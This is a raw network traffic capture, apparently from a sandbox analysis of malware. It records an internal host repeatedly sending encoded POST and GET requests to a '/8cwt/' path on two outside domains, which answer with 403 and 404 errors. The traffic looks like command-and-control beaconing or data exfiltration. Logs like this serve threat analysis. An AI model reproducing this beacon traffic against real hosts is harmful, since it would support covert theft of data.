Jun 4, 2024 14:22:29.873224974 CEST	727	OUT	POST /8cwt/ HTTP/1.1 Host: www.accentbathrooms.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Origin: http://www.accentbathrooms.com Referer: http://www.accentbathrooms.com/8cwt/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 223 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 32 34 65 6c 75 58 3d 34 37 79 38 79 63 32 55 70 73 4d 42 55 4d 75 41 6c 38 4b 63 59 51 49 35 36 74 79 63 6a 78 49 49 79 66 37 30 55 35 53 43 49 2f 74 52 38 48 56 6f 36 4a 33 6d 43 52 67 44 4f 68 43 36 68 36 37 79 6c 7a 30 41 4f 2f 64 49 38 59 51 6b 57 74 76 43 4b 65 6e 45 4d 70 38 65 62 52 67 77 63 76 71 54 4e 34 65 6f 35 66 6a 38 4c 79 39 50 30 74 6c 6a 41 63 34 32 77 6f 47 50 6e 49 54 66 38 70 33 67 71 75 4a 52 6c 77 61 51 4f 41 53 35 69 58 2f 54 36 45 45 6e 30 48 4a 45 53 6b 2f 6b 79 45 71 77 73 70 36 36 65 53 6a 41 4b 4e 4d 36 7a 37 70 76 2b 49 73 6d 69 2f 38 6d 56 6d 53 5a 58 37 44 75 48 2f 37 4d 42 42 79 38 42 53 63 6c 77 6b 42 66 41 6a 71 4a 41 73 67 3d Data Ascii: 24eluX=47y8yc2UpsMBUMuAl8KcYQI56tycjxIIyf70U5SCI/tR8HVo6J3mCRgDOhC6h67ylz0AO/dI8YQkWtvCKenEMp8ebRgwcvqTN4eo5fj8Ly9P0tljAc42woGPnITf8p3gquJRlwaQOAS5iX/T6EEn0HJESk/kyEqwsp66eSjAKNM6z7pv+Ismi/8mVmSZX7DuH/7MBBy8BSclwkBfAjqJAsg=
Jun 4, 2024 14:22:30.031626940 CEST	380	IN	HTTP/1.1 403 Forbidden Server: nginx/1.14.2 Date: Tue, 04 Jun 2024 12:22:29 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 62 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 90 31 0e c2 30 0c 45 77 24 ee 60 ba a7 a1 d0 31 64 41 20 31 30 71 82 a4 36 4d a4 34 41 21 12 f4 f6 24 50 24 c4 cc c8 e8 ef e7 67 cb c2 a4 c1 c9 f9 4c 18 52 28 45 b2 c9 91 6c 97 6b d8 87 a8 2d 22 79 c1 5f a1 e0 4f 24 a3 3a e0 08 ba ef 82 0b 71 53 dd 8c 4d 54 15 45 47 3e 51 94 c2 34 df 86 9c 08 3e b5 cb ae 0c 4d 95 ef ad bf f3 a6 6e da 7a f5 89 f0 b2 a4 48 f9 fb c0 05 63 a0 e0 a2 10 ad ef 21 05 40 7b 55 da 11 1c 4f 87 1d 28 8f b0 35 31 0c 04 e7 68 c9 a3 1b 81 62 0c 31 4f f4 04 8c 15 d7 5f f1 cb 5f 3c 00 d2 96 ee 17 3b 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: bc10Ew$`1dA 10q6M4A!$P$gLR(Elk-"y_O$:qSMTEG>Q4>MnzHc!@{UO(51hb1O__<;0

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.11.30	49909	66.81.203.196	80

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:22:32.565224886 CEST	1644	OUT	POST /8cwt/ HTTP/1.1 Host: www.accentbathrooms.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Origin: http://www.accentbathrooms.com Referer: http://www.accentbathrooms.com/8cwt/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 1139 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 32 34 65 6c 75 58 3d 34 37 79 38 79 63 32 55 70 73 4d 42 55 4d 75 41 6c 38 4b 63 59 51 49 35 36 74 79 63 6a 78 49 49 79 66 37 30 55 35 53 43 49 2f 31 52 39 78 70 6f 35 75 62 6d 4e 78 67 44 45 42 43 2f 68 36 37 76 6c 7a 73 4d 4f 2f 5a 59 38 64 55 6b 45 66 6e 43 4e 72 54 45 56 5a 38 65 5a 52 67 78 52 50 71 38 4e 34 4f 30 35 62 50 38 4c 79 39 50 30 72 68 6a 4a 70 55 32 79 6f 47 51 78 59 54 70 34 70 32 50 71 76 68 42 6c 77 65 41 4f 7a 61 35 69 33 76 54 34 32 38 6e 70 58 4a 52 58 6b 2f 38 79 45 6e 67 73 76 65 51 65 58 65 62 4b 4b 67 36 78 4f 6b 57 37 6f 77 42 39 64 4d 77 51 33 2b 32 57 4c 72 6a 65 73 4c 77 4b 69 4f 4e 47 54 30 58 2b 78 46 44 59 78 79 46 5a 5a 62 49 6a 68 63 38 44 50 65 46 51 53 48 70 77 2b 62 53 33 65 6c 53 77 41 59 57 76 68 67 51 52 43 61 4a 57 6b 37 2b 69 68 58 66 79 70 56 4b 4c 67 62 77 69 7a 6b 63 61 68 33 37 57 6d 57 56 4b 79 51 4e 42 69 5a 53 5a 39 55 2b 30 7a 78 31 75 54 6c 73 45 33 75 71 41 35 49 33 39 44 57 31 61 38 56 2b 4b 70 4c 54 6e 66 4f 2f 44 4e 4b 79 37 54 31 7a 70 58 42 [TRUNCATED] Data Ascii: 24eluX=47y8yc2UpsMBUMuAl8KcYQI56tycjxIIyf70U5SCI/1R9xpo5ubmNxgDEBC/h67vlzsMO/ZY8dUkEfnCNrTEVZ8eZRgxRPq8N4O05bP8Ly9P0rhjJpU2yoGQxYTp4p2PqvhBlweAOza5i3vT428npXJRXk/8yEngsveQeXebKKg6xOkW7owB9dMwQ3+2WLrjesLwKiONGT0X+xFDYxyFZZbIjhc8DPeFQSHpw+bS3elSwAYWvhgQRCaJWk7+ihXfypVKLgbwizkcah37WmWVKyQNBiZSZ9U+0zx1uTlsE3uqA5I39DW1a8V+KpLTnfO/DNKy7T1zpXBj1ZxOTOl0wHK+/p5M/yXrP7psvzQA7/adRdlekTFWZTrnOIwFjmeddmmTRJ5NqkNkAuu9emYlRacP4LI1y8rVPlmc4+71LVVDL3a/78nWMRnXy/SQN/BAumdPz8WZR/yiUkn8IwZ2vccn8YY7m/SlME9J668NROUiVnVUpSl8XVXG0ayywdkOkb9eHfvqQydJB5fJWm2LJJcNZrxvjT/pxSoFaP/yFpPBOurJmfbWh/Kc3bap4yoZlrGLdH1vbXOM847Ixz2wwiUE57g6omsgD/KkeKFz84vrBRjViWZdTFBWey6G2Ubg3GBD0U1yX+AIV8FEjq0F8ytOqQe0fA7NLuN9fWn4eNB6c4VKhB3O41eW8FLIMwMb5nA03FUOdjeITegdMcCHLtZzkpYdb9ivE+v1xmMpe6+FCxWpG466uPbDBROvKDxhv6gjqIa7yljcTUXpaF+hKicRAdtDysMLK88VxFeU8mJgvZGJVKRUObrpAcTeEGp4Xo74GCgEQoPl9xo/myYIUSlb8ylLEN91WgO7RhdVAZd+pBjkk1gYcRJoy9iSJ8Ubnr5xeqMqZ0lYj5NhRCOuC2Thew2Udc/6gBI57m2EriY0eEPO5Pd1KQTXksxsE31F8N3eotg5GWCW0ZI1Co0FjBiU+KVzuvEg8WqR5vz2ClVFV [TRUNCATED]
Jun 4, 2024 14:22:32.728575945 CEST	380	IN	HTTP/1.1 403 Forbidden Server: nginx/1.14.2 Date: Tue, 04 Jun 2024 12:22:32 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 62 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 90 31 0e c2 30 0c 45 77 24 ee 60 ba a7 a1 d0 31 64 41 20 31 30 71 82 a4 36 4d a4 34 41 21 12 f4 f6 24 50 24 c4 cc c8 e8 ef e7 67 cb c2 a4 c1 c9 f9 4c 18 52 28 45 b2 c9 91 6c 97 6b d8 87 a8 2d 22 79 c1 5f a1 e0 4f 24 a3 3a e0 08 ba ef 82 0b 71 53 dd 8c 4d 54 15 45 47 3e 51 94 c2 34 df 86 9c 08 3e b5 cb ae 0c 4d 95 ef ad bf f3 a6 6e da 7a f5 89 f0 b2 a4 48 f9 fb c0 05 63 a0 e0 a2 10 ad ef 21 05 40 7b 55 da 11 1c 4f 87 1d 28 8f b0 35 31 0c 04 e7 68 c9 a3 1b 81 62 0c 31 4f f4 04 8c 15 d7 5f f1 cb 5f 3c 00 d2 96 ee 17 3b 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: bc10Ew$`1dA 10q6M4A!$P$gLR(Elk-"y_O$:qSMTEG>Q4>MnzHc!@{UO(51hb1O__<;0

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.11.30	49910	66.81.203.196	80

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:22:35.246881962 CEST	434	OUT	GET /8cwt/?24eluX=15acxp6jrOd/buvS9YLoVCwQt/eIj0wV8tP3YL3PMsIjyFVitYjgFC8LDxGQh6T0kTJLIrMUzadAXsDAGdfiNfgPYx4xbqKJILHq2u+5CghFrM1CdZcxiKw=&Mjnd0=JZHP8Tx0t6 HTTP/1.1 Host: www.accentbathrooms.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Jun 4, 2024 14:22:35.405052900 CEST	721	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.2 Date: Tue, 04 Jun 2024 12:22:35 GMT Content-Type: text/html Content-Length: 571 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.2</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.11.30	49911	162.43.104.164	80

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:22:40.716788054 CEST	701	OUT	POST /8cwt/ HTTP/1.1 Host: www.shun-yamagata.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Origin: http://www.shun-yamagata.com Referer: http://www.shun-yamagata.com/8cwt/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 203 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 32 34 65 6c 75 58 3d 6f 38 61 74 65 31 71 36 4d 71 6f 6f 2b 67 7a 59 4b 37 2b 53 72 66 36 4d 63 63 37 75 38 42 7a 63 75 2b 51 74 73 31 48 47 57 51 63 4f 50 53 36 39 74 47 44 68 2f 34 4c 6e 62 49 6b 2b 44 33 52 62 36 4b 38 79 73 4b 56 64 4e 6a 4b 4a 76 4f 6b 72 5a 4f 56 69 74 36 57 70 70 30 6c 49 61 6e 61 36 5a 38 46 52 73 36 63 6b 67 2f 52 68 6b 43 6f 6c 43 67 58 78 74 49 70 4c 4f 45 2f 44 38 67 56 6e 67 4b 59 76 6e 6d 42 75 52 69 71 65 2b 47 39 77 73 69 58 35 45 47 53 33 4f 69 39 7a 69 46 42 4a 50 63 65 35 52 58 47 4e 37 33 6b 6a 58 76 63 61 37 77 6e 4e 63 72 36 79 2f 2f 4a 47 35 6e 54 58 6d 67 3d 3d Data Ascii: 24eluX=o8ate1q6Mqoo+gzYK7+Srf6Mcc7u8Bzcu+Qts1HGWQcOPS69tGDh/4LnbIk+D3Rb6K8ysKVdNjKJvOkrZOVit6Wpp0lIana6Z8FRs6ckg/RhkColCgXxtIpLOE/D8gVngKYvnmBuRiqe+G9wsiX5EGS3Oi9ziFBJPce5RXGN73kjXvca7wnNcr6y//JG5nTXmg==
Jun 4, 2024 14:22:41.019733906 CEST	1289	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 04 Jun 2024 12:22:39 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Tue, 25 Jul 2023 10:57:57 GMT ETag: W/"afe-6014d9a904f4f" Content-Encoding: gzip Data Raw: 35 31 39 0d 0a 1f 8b 08 00 00 00 00 00 04 03 8d 56 cf 6f 13 47 14 3e 7b ff 8a 61 a3 4a 25 ca 66 63 27 71 a8 b1 ad 4a 10 0a 2d 90 08 4a a1 a7 6a bc 3b b6 a7 ac 77 ac dd 75 12 b7 ca 1f 63 32 53 d1 12 95 08 50 49 0a 88 aa a0 36 4d 4b 28 ad 82 2a 0e a0 aa 97 26 d0 0b 51 a5 1e fb 66 67 d6 5e 27 06 b1 17 7b df cf ef 7d ef cd db 29 1e 38 3a 73 e4 c3 8f 67 a7 51 3d 6a 78 65 a3 28 7f 90 87 fd 5a c9 fc 14 9b 52 40 b0 0b 3f 0d 12 61 e4 d4 71 10 92 a8 64 4e 9f 3b 62 bd 3f 6b 22 1b 34 11 8d 3c 52 9e 18 9b 40 c7 a8 47 d0 69 16 a1 63 ac e5 bb 45 5b 69 b4 af 8f 1b a4 64 3a ac d9 0e 68 ad 1e 99 c8 61 7e 44 7c 08 76 24 91 a1 0b 67 a7 cf 7c 34 7d 06 9d f0 9d 51 99 3b 4e aa 1c 03 56 61 51 98 f2 3a 71 fa e8 f4 85 91 63 33 27 4f ce 9c 57 40 52 d6 73 94 cc 37 59 90 ce 32 4f dd a8 5e 72 c9 1c 75 88 15 bf 8c 50 9f 46 14 7b 56 e8 60 8f 94 b2 a3 63 23 0d 10 35 5a 8d 9e 44 a2 08 a3 36 d4 15 b5 9b 80 3f 22 0b 91 ed 84 21 c8 87 d1 e7 06 82 a7 81 83 1a f5 0b 68 ec 70 fc da c4 ae 4b fd 5a fc be 68 d0 46 4d 9b 55 58 e0 92 40 8b 5b [TRUNCATED] Data Ascii: 519VoG>{aJ%fc'qJ-Jj;wuc2SPI6MK(&Qfg^'{})8:sgQ=jxe(ZR@?aqdN;b?k"4<R@GicE[id:ha~D\|v$g\|4}Q;NVaQ:qc3'OW@Rs7Y2O^ruPF{V`c#5ZD6?"!hpKZhFMUX@[jk#rqX4lU[yRZ i.;)Yan[GV7Sp#2G)B6A)2OEN&~kyfKq`RRV=x'VPvtBHC)LlaXJ0ul\$7\HEske?A@I`#FHh>N9Q3i+`?5)rhI$EDK>gTQ0u*5VG]4T.k}B ~RG'qVd!B2pyl$)F4kG"%+lb'>"IYtvRO@xZ{5aT=x-R3)Bn#{m]6l0`"A@L[cl<E#SG+I`^u>\|Y\|.uNMWE<qxLFn(i8HUhCN_4^$;+l6M1?tz#~2D\|Wz7t!9),KQ8xa%9s{Qo/\|mu1.C-r [TRUNCATED]
Jun 4, 2024 14:22:41.019752979 CEST	300	IN	Data Raw: b1 9e 2d 17 25 39 f2 2e 02 9e f2 5f b1 12 c8 3b 8a 54 cb 67 ef 05 05 3c b4 6b ae 2c 2e 89 ab e2 96 58 e3 37 f9 df fc 0b be 0e bf 77 c5 13 38 8d ab fc e1 ea 15 7e 9f 5f e1 3b fc 29 bf c5 77 f9 8f 52 d7 59 02 50 39 ed df 44 8e 87 c3 b0 64 ea c5 69 Data Ascii: -%9._;Tg<k,.X7w8~_;)wRYP9Ddiu).mswRuma`_lVOLW61oVke_$qm]UY~x?'=:-sX[J{m/W~?,;s:

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.11.30	49912	162.43.104.164	80

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:22:43.518687010 CEST	721	OUT	POST /8cwt/ HTTP/1.1 Host: www.shun-yamagata.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Origin: http://www.shun-yamagata.com Referer: http://www.shun-yamagata.com/8cwt/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 223 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 32 34 65 6c 75 58 3d 6f 38 61 74 65 31 71 36 4d 71 6f 6f 38 42 6a 59 50 62 43 53 74 2f 36 50 5a 63 37 75 79 68 7a 41 75 2f 73 74 73 33 72 57 57 6a 34 4f 50 77 69 39 2f 43 66 68 2b 34 4c 6e 55 6f 6b 37 4d 58 52 55 36 4b 78 52 73 4c 46 64 4e 67 32 4a 76 50 34 72 5a 34 64 39 74 71 57 72 67 55 6c 4b 65 6e 61 36 5a 38 46 52 73 36 49 4f 67 2f 5a 68 34 69 59 6c 43 45 4c 75 67 6f 70 49 65 55 2f 44 34 67 56 6a 67 4b 5a 66 6e 6c 46 58 52 67 53 65 2b 43 35 77 73 77 76 32 64 32 53 78 45 43 38 62 68 32 34 4e 45 64 6d 70 51 33 32 4f 2f 6e 55 48 62 59 74 41 6d 7a 54 50 50 4c 47 66 6a 2b 6b 75 37 6c 53 4d 37 6c 64 62 62 53 65 6e 7a 58 39 6e 65 68 33 57 72 4a 73 71 41 35 45 3d Data Ascii: 24eluX=o8ate1q6Mqoo8BjYPbCSt/6PZc7uyhzAu/sts3rWWj4OPwi9/Cfh+4LnUok7MXRU6KxRsLFdNg2JvP4rZ4d9tqWrgUlKena6Z8FRs6IOg/Zh4iYlCELugopIeU/D4gVjgKZfnlFXRgSe+C5wswv2d2SxEC8bh24NEdmpQ32O/nUHbYtAmzTPPLGfj+ku7lSM7ldbbSenzX9neh3WrJsqA5E=
Jun 4, 2024 14:22:43.795527935 CEST	1289	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 04 Jun 2024 12:22:42 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Tue, 25 Jul 2023 10:57:57 GMT ETag: W/"afe-6014d9a904f4f" Content-Encoding: gzip Data Raw: 35 31 39 0d 0a 1f 8b 08 00 00 00 00 00 04 03 8d 56 cf 6f 13 47 14 3e 7b ff 8a 61 a3 4a 25 ca 66 63 27 71 a8 b1 ad 4a 10 0a 2d 90 08 4a a1 a7 6a bc 3b b6 a7 ac 77 ac dd 75 12 b7 ca 1f 63 32 53 d1 12 95 08 50 49 0a 88 aa a0 36 4d 4b 28 ad 82 2a 0e a0 aa 97 26 d0 0b 51 a5 1e fb 66 67 d6 5e 27 06 b1 17 7b df cf ef 7d ef cd db 29 1e 38 3a 73 e4 c3 8f 67 a7 51 3d 6a 78 65 a3 28 7f 90 87 fd 5a c9 fc 14 9b 52 40 b0 0b 3f 0d 12 61 e4 d4 71 10 92 a8 64 4e 9f 3b 62 bd 3f 6b 22 1b 34 11 8d 3c 52 9e 18 9b 40 c7 a8 47 d0 69 16 a1 63 ac e5 bb 45 5b 69 b4 af 8f 1b a4 64 3a ac d9 0e 68 ad 1e 99 c8 61 7e 44 7c 08 76 24 91 a1 0b 67 a7 cf 7c 34 7d 06 9d f0 9d 51 99 3b 4e aa 1c 03 56 61 51 98 f2 3a 71 fa e8 f4 85 91 63 33 27 4f ce 9c 57 40 52 d6 73 94 cc 37 59 90 ce 32 4f dd a8 5e 72 c9 1c 75 88 15 bf 8c 50 9f 46 14 7b 56 e8 60 8f 94 b2 a3 63 23 0d 10 35 5a 8d 9e 44 a2 08 a3 36 d4 15 b5 9b 80 3f 22 0b 91 ed 84 21 c8 87 d1 e7 06 82 a7 81 83 1a f5 0b 68 ec 70 fc da c4 ae 4b fd 5a fc be 68 d0 46 4d 9b 55 58 e0 92 40 8b 5b [TRUNCATED] Data Ascii: 519VoG>{aJ%fc'qJ-Jj;wuc2SPI6MK(&Qfg^'{})8:sgQ=jxe(ZR@?aqdN;b?k"4<R@GicE[id:ha~D\|v$g\|4}Q;NVaQ:qc3'OW@Rs7Y2O^ruPF{V`c#5ZD6?"!hpKZhFMUX@[jk#rqX4lU[yRZ i.;)Yan[GV7Sp#2G)B6A)2OEN&~kyfKq`RRV=x'VPvtBHC)LlaXJ0ul\$7\HEske?A@I`#FHh>N9Q3i+`?5)rhI$EDK>gTQ0u*5VG]4T.k}B ~RG'qVd!B2pyl$)F4kG"%+lb'>"IYtvRO@xZ{5aT=x-R3)Bn#{m]6l0`"A@L[cl<E#SG+I`^u>\|Y\|.uNMWE<qxLFn(i8HUhCN_4^$;+l6M1?tz#~2D\|Wz7t!9),KQ8xa%9s{Qo/\|mu1.C-r [TRUNCATED]
Jun 4, 2024 14:22:43.795547009 CEST	300	IN	Data Raw: b1 9e 2d 17 25 39 f2 2e 02 9e f2 5f b1 12 c8 3b 8a 54 cb 67 ef 05 05 3c b4 6b ae 2c 2e 89 ab e2 96 58 e3 37 f9 df fc 0b be 0e bf 77 c5 13 38 8d ab fc e1 ea 15 7e 9f 5f e1 3b fc 29 bf c5 77 f9 8f 52 d7 59 02 50 39 ed df 44 8e 87 c3 b0 64 ea c5 69 Data Ascii: -%9._;Tg<k,.X7w8~_;)wRYP9Ddiu).mswRuma`_lVOLW61oVke_$qm]UY~x?'=:-sX[J{m/W~?,;s:

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.11.30	49913	162.43.104.164	80

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:22:46.956729889 CEST	1638	OUT	POST /8cwt/ HTTP/1.1 Host: www.shun-yamagata.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Origin: http://www.shun-yamagata.com Referer: http://www.shun-yamagata.com/8cwt/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 1139 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 32 34 65 6c 75 58 3d 6f 38 61 74 65 31 71 36 4d 71 6f 6f 38 42 6a 59 50 62 43 53 74 2f 36 50 5a 63 37 75 79 68 7a 41 75 2f 73 74 73 33 72 57 57 6a 77 4f 50 44 71 39 74 6a 66 68 39 34 4c 6e 4b 34 6b 36 4d 58 52 4a 36 4b 35 4e 73 4c 49 71 4e 6d 79 4a 75 74 77 72 52 74 39 39 6d 71 57 72 69 55 6c 4a 61 6e 61 72 5a 36 6c 56 73 36 59 4f 67 2f 5a 68 34 68 41 6c 46 51 58 75 69 6f 70 4c 4f 45 2f 66 38 67 55 30 67 4b 42 70 6e 6b 78 59 52 51 79 65 2f 6d 64 77 70 44 58 32 43 47 53 7a 48 43 38 44 68 33 45 43 45 65 53 54 51 33 43 6b 2f 6e 73 48 62 64 55 73 68 52 37 73 65 4e 53 66 69 39 63 73 74 47 43 7a 30 48 70 39 4c 45 79 36 78 47 64 73 66 6d 44 64 37 4d 73 57 56 59 44 31 7a 4b 79 58 6a 34 32 6f 42 45 55 4d 31 30 42 6f 78 31 66 49 6a 2f 55 30 72 76 37 4e 6a 77 55 70 57 4b 42 6a 41 2b 64 58 31 44 35 6c 67 4d 6d 62 44 4f 75 55 2f 4c 49 44 70 4c 59 66 6d 79 4e 31 47 6a 4f 6f 7a 6a 34 36 76 42 6f 77 56 47 6a 49 48 63 74 73 78 30 31 4f 2b 76 4c 48 46 75 39 58 31 69 56 46 64 56 74 37 2f 30 7a 37 64 61 44 61 45 75 4c [TRUNCATED] Data Ascii: 24eluX=o8ate1q6Mqoo8BjYPbCSt/6PZc7uyhzAu/sts3rWWjwOPDq9tjfh94LnK4k6MXRJ6K5NsLIqNmyJutwrRt99mqWriUlJanarZ6lVs6YOg/Zh4hAlFQXuiopLOE/f8gU0gKBpnkxYRQye/mdwpDX2CGSzHC8Dh3ECEeSTQ3Ck/nsHbdUshR7seNSfi9cstGCz0Hp9LEy6xGdsfmDd7MsWVYD1zKyXj42oBEUM10Box1fIj/U0rv7NjwUpWKBjA+dX1D5lgMmbDOuU/LIDpLYfmyN1GjOozj46vBowVGjIHctsx01O+vLHFu9X1iVFdVt7/0z7daDaEuLwFXBcvxWQsUm/OsWjZlbluP82DaWf59avvSOb9oxduX0VYYYkhr0OhAl/L1blhCy6ZQzXhvtWYWyucux2zOvYBqbK3HBeYW5WZnVTVfnHvWsmIdl2jWLktdyqJ+COZDBMp3pt/khbBGVziXh+LEeVF+ASSPj4nQAodAUBhg50WSDnsfF7W6Z3mrCyr7Wnc5DNe0oenDlgOGKPFHF0timkwlyVCTV4jcDHLM7tQspGq0xHpuRlO1GHLwWvnFSrQ7Tndhgw/ATIUDw4cfRKbbVLaxZqEp+vfQPvdFuz9FWRPYww1BNwJ1yQmno/ohclUe6g69PspmmQ9lyX03M3AaikHL1FaJ1vE9OW4r8DJ3bKM8IrGa6yazOd2kIkZdmfH6B3+KjiCNhQo9o8GT/TbzokJ09A18emwjZgJ5hPal90rueSb5vCHlB/GRX2/eRcHntskF+zgNQhnrPPF8+F/4ow90vsUqlGKAcR4djgqAv2jLMbLgML/vhsjroEG1uT+9PEjIdVSUA1ErEk1ShSITtbCkzXtdtUYz/NmgtqiHWNJrx6GJGUEoTJNI+jrl4lJQm2sFyRD+PBjMY8nx9GD6FWtBtqnR4AzYTSLH0WtHIXzdQt9uJ+Qh6HIIj3mdEY+GXOCRniS/FKc1hH1QRSQgRFEbYgbWkXoUIpN [TRUNCATED]
Jun 4, 2024 14:22:47.265578985 CEST	1289	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 04 Jun 2024 12:22:45 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Tue, 25 Jul 2023 10:57:57 GMT ETag: W/"afe-6014d9a904f4f" Content-Encoding: gzip Data Raw: 35 31 39 0d 0a 1f 8b 08 00 00 00 00 00 04 03 8d 56 cf 6f 13 47 14 3e 7b ff 8a 61 a3 4a 25 ca 66 63 27 71 a8 b1 ad 4a 10 0a 2d 90 08 4a a1 a7 6a bc 3b b6 a7 ac 77 ac dd 75 12 b7 ca 1f 63 32 53 d1 12 95 08 50 49 0a 88 aa a0 36 4d 4b 28 ad 82 2a 0e a0 aa 97 26 d0 0b 51 a5 1e fb 66 67 d6 5e 27 06 b1 17 7b df cf ef 7d ef cd db 29 1e 38 3a 73 e4 c3 8f 67 a7 51 3d 6a 78 65 a3 28 7f 90 87 fd 5a c9 fc 14 9b 52 40 b0 0b 3f 0d 12 61 e4 d4 71 10 92 a8 64 4e 9f 3b 62 bd 3f 6b 22 1b 34 11 8d 3c 52 9e 18 9b 40 c7 a8 47 d0 69 16 a1 63 ac e5 bb 45 5b 69 b4 af 8f 1b a4 64 3a ac d9 0e 68 ad 1e 99 c8 61 7e 44 7c 08 76 24 91 a1 0b 67 a7 cf 7c 34 7d 06 9d f0 9d 51 99 3b 4e aa 1c 03 56 61 51 98 f2 3a 71 fa e8 f4 85 91 63 33 27 4f ce 9c 57 40 52 d6 73 94 cc 37 59 90 ce 32 4f dd a8 5e 72 c9 1c 75 88 15 bf 8c 50 9f 46 14 7b 56 e8 60 8f 94 b2 a3 63 23 0d 10 35 5a 8d 9e 44 a2 08 a3 36 d4 15 b5 9b 80 3f 22 0b 91 ed 84 21 c8 87 d1 e7 06 82 a7 81 83 1a f5 0b 68 ec 70 fc da c4 ae 4b fd 5a fc be 68 d0 46 4d 9b 55 58 e0 92 40 8b 5b [TRUNCATED] Data Ascii: 